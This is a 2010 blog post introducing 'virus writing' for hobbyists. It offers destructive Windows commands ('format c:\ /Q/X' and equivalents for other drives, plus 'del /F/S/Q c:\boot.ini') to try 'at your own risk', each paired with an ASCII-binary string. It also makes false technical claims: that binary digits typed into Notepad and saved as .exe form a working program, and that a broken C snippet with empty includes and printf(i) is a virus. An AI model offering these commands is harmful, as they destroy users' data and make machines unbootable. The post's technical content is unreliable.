Monday, May 17, 2010

VIRUS WRITINGS:INTRODUCTION



















VIRUS WRITINGS:a present trend

A computer virus is a computer program that can copy itself ,makes a processor hang and infect a computer. The term "virus" is also commonly but erroneously used to refer to other types of malware,adware and spyware programs that do not have the reproductive ability. A true virus can only spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a CD,DVD,USB Drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.
Virus was first detected in early 1970s while experimenting on a self-replicating program.
Viruses can be created if one has a little knowledge on programming languages like C,C++,Visual Basic etc.But mostly Visual Basic has a major application in this field as it is most used language and a user friendly language for the programming geeks now a days.For instance in C language even you can create a simple virus by using a ‘for’ token,here it is
#include
#include
Void main()
{
int i;
for(i=1;i>0;i++)
{
printf(i);
}
}
This program as you all know simply executes infinitely making the system to hang for a while.This can be written in a C compiler as everyone is aware.This is not a deadly virus, but in past about a decade ago gave rise to such things which could infect the system performance,format the drives of your hard disk,can corrupt any of the content of a file or can even make the system behave weird.As a part of hacking ,virus writings have become a latest trend in the present cyber world.Its alarming to see that the attention of programmers have turned towards deteriorate or corrupt ones data rather than locating or spying it.
The common writings are done by help of simple defaults of your OS. If you think that notepad is useless then you are wrong because you can do a lot of things with a notepad which you could have never imagined.You can create a simple .bat and then making it execute.A batch file is a text file containing a series of commands intended to be executed by the command interpreter . When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line.Even you can see how we can create simple viruses by other extensions like .exe, .c,.cpp,.vb etc.
Now let us see some viruses(try this at your own risk none is responsible)
 A simple binary codes that can format the system drive ,secondary drives…
write the following in notepad,

01001011000111110010010101010101010000011111100000

Save the above as an .exe extension and any name will do.
Some other interesting formatting codes….

format c:\ /Q/X this will format your drive c:\ 01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000

format d:\ /Q/X this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000

format a:\ /Q/X this will format your drive a:\ 01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini this will cause your computer not to boot. 01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001

0 comments:

Post a Comment

web site hit counter
Twitter Delicious Facebook Digg Stumbleupon Favorites More